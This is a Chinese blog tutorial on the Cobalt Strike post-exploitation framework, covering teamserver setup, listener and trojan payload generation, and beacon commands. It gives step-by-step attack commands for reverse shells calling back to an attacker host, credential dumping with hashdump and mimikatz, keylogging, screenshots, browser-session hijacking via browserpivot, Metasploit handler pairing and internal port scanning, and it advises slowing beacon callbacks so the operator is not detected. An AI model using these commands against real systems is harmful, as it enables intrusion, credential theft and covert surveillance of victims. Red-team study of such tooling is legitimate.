后渗透神器Cobalt Strike使用教程 - JunMo博客

JunMo的博客

2019
记录生活
首页 » 工具使用 » 后渗透神器Cobalt Strike使用教程

后渗透神器Cobalt Strike使用教程

介绍

Cobalt Strike 一款以metasploit为基础的GUI的框框架式渗透工具,Armitage的商业版,集成了端口发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑,mac os 木马生成,钓鱼攻击包括:站点克隆,目标信息获取,java执行,游览器自动攻击等等。

JAVA环境

下载链接 http://www.oracle.com/technetwork/java/javase/downloads/java-archive-javase8-2177648.html#jdk-8u121-oth-JPR

 

解压缩文件并移动至/opt

 

tar -xzvf jdk-8u91-linux-x64.tar.gz

mv jdk1.8.0_91 /opt

cd /opt/jdk1.8.0_91

设置环境变量

 

执行 gedit ~/.bashrc , 并添加下列内容

# install JAVA JDK

export JAVA_HOME=/opt/jdk1.8.0_91

export CLASSPATH=.:${JAVA_HOME}/lib

export PATH=${JAVA_HOME}/bin:$PATH
保存退出
执行 source ~/.bashrc

安装并注册

 

update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_91/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_91/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_91/bin/java
update-alternatives --set javac /opt/jdk1.8.0_91/bin/javac

 

测试

java -version

目录结构

agscript拓展应用的脚本

c2lint 用于检查profile的错误异常

teamserver服务端程序

cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)

logs目录记录与目标主机的相关信息

update,update.jar用于更新CS

third-party第三方工具

启动服务端

启动参数./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

  • 1 - 必填参数host 本服务器外网IP/域名
  • 2 - 必填参数password Client GUI连接时需要输入的密码
  • 3 - 可选参数Malleable C2 communication profile 指定C2通信配置文件 该功能体现了CS的强大扩展性
  • 4 - 可选参数kill date 指定所有payload的终止日期

这里用 ./teamserver 192.168.0.120(本机ip) 123456(登入密码)

客户端链接

启动CS Client GUI ./cobaltstrike

输入服务端的IP以及端口、密码,用户名可以任意设置。

使用

顶部菜单 主要使用View和Attack

Cobalt Strike

New Connection   #进行另外一个连接,支持连接多个服务器端
Preferences   #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization   #主要展示输出结果的形式
VPN Interfaces   #设置VPN接口
Listenrs   #创建一个Listener
Script Manager   #脚本管理
Close   #退出连接

View

Applications   #显示受害者机器的应用信息
Credentials   #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads   #下载文件
Event Log   #主机上线记录以及团队协作聊天记录
Keystrokes   #键盘记录
Proxy Pivots   #代理模块
Screenshots   #截图
Script Console   #控制台,在这里可以加载各种脚本 
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets   #显示目标
Web Log    #Web访问记录

Attacks

 

Packages

HTML Application   #生成恶意的HTA木马文件
MS Office Macro   #生成office宏病毒文件
Payload Generator   #生成各种语言版本的payload
USB/CD AutoPlay   #生成利用自动播放运行的木马文件
Windows Dropper   #捆绑器,能够对文档类进行捆绑
Windows Executable   #生成可执行exe木马
Windows Executable(S)   #生成无状态的可执行exe木马

 

Web Drive-by

Manage   #对开启的web服务进行管理
Clone Site   #克隆网站,可以记录受害者提交的数据
Host File   #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery   #类似于Metasploit的web_delivery 
Signed Applet Attack   #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack   #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler   #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish   #用来邮件钓鱼的模块

 

Reporting

activity report   #活动报告
Hosts report   #主机报告
Indicators of Compromise   #目标报告
Sessions report   #会话报告
Social engineering report   #社会工程报告
Export data   #数据出口

 

help

Homepage   #官方主页
Support   #技术支持
Arsenal   #开发者
System information   #版本信息
About   #关于

 

配置监听器

首先配置监听器:

点击上方Cobalt Strike选项——>在下拉框中选择listeners——>在下方弹出区域中单机add

name:为监听器名字。

选择payload类型

host为shell反弹接受主机(服务端IP)

port为反弹端口

监听器的作用很简单,主要是为了接受payload回传的各类数据
比如,我们的payload在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf中handler的作用基本是一致的

beacon  为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smb[pipe],另外,beacon shell的内置功能也非常多

foreign 主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器

生成payload

点击attacks——>packages——>windows executable

listener为监听器名字

output为输出靶机类型。

点击generate弹出的对话框中选择保存位置和输入payload名字。

在windows靶机中运行文件artifact.exe

得到反弹shell

主机上线以后需要将默认心跳包改成0,cobalt strike为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。

修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定

beacon模块之shell命令

格式 shell 命令

其他命令

help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload

note 给当前目录机器起个名字,  note beacon-shell

cd在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/'  cd c:

mkdir 新建目录,  mkdir d:beacon

rm 删除文件或目录,  rm d:beacon

upload 上传文件到目标系统中

download从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe

cancel取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下

shell在目标系统中执行指定的cmd命令, shell whoami

getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权

pwd查看当前在目录系统中的路径

ls列出当前目录下的所有文件和目录

drives列表出目标系统的所有分区[win中叫盘符]

ps查看目标系统当前的所有的进程列表

kill杀掉指定进程,  kill 4653

sleep 10指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可

jobs列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除

jobkill如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务,  jobkill 1345

clear清除beacon内部的任务队列

checkin强制让被控端回连一次

exit 终止当前beacon 会话

ctrl + k 清屏

beacon模块之browserpivot命令

用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了

官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,

ps     //查看进程,这里进程为1676

browserpivot  1676    //注入进程,并开启http代理,代理服务器为: 192.168.0.120:2110

browserpivot   stop    //停止代理

beacon模块之Screenshot

screenshot    //运行屏幕截屏命令

screenshot 10 截取10秒 //可能会造成目标系统有很明显的卡顿

然后打开View->Screenshots,则可以看到屏幕截图

 beacon模块之Keylogger

ps          //查看系统进程,随便选择一个程序的进程PID  
 
keylogger PID  //键盘记录注入进程

打开View->Keystrokes,则可以看到键盘记录结果 这里我测试没成功

 beacon模块之密码读取

hashdump   //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump

logonpasswords  //运行mimikatz, 右击受害者主机--access- RUN mimikatz

Cobalt Strike与msf的配合使用

 在msf执行

 

 use exploit/multi/handler
 
 set payload windows/meterpreter/reverse_tcp
 
 set lhost 192.168.0.120(本机ip)
 
 set lport 4444
 
 exploit

 

在Cobalt Strik中执行,先添加一个监听命令,名称为:msf  payload选择:windows/foreign/reverse_tcp  监听端口:4444

选择受害者主机,然后右击Spawn

成功反弹

灵活穿透目标内网

对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议[暂只支持arp,icmp,tcp],指定线程

portscan 192.168.0.114 22 arp 10

利用beacon shell连接内网中的linux机器

ssh ip 账号 密码

通过powershell来增强cs的实用性

在beacon shell中导入外部ps脚本到远程机器上

powershell-import /root/test.ps1 //导入各种powershell脚本,这里可以导入nishang模块
powershell  posershell脚本名

在beacon shell中直接执行powershell代码

powerpick Get-Host

文章如无特别注明均为原创!
本文作者: JunMo
转载或复制请带上本文地址 http://mo60.cn/post-59.html
并注明出处 JunMo博客
原文地址《 后渗透神器Cobalt Strike使用教程
发布于2019-8-12
收录状态: [百度已收录][360未收录]

分享到:


打赏

评论

游客

看不清楚?点图切换

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册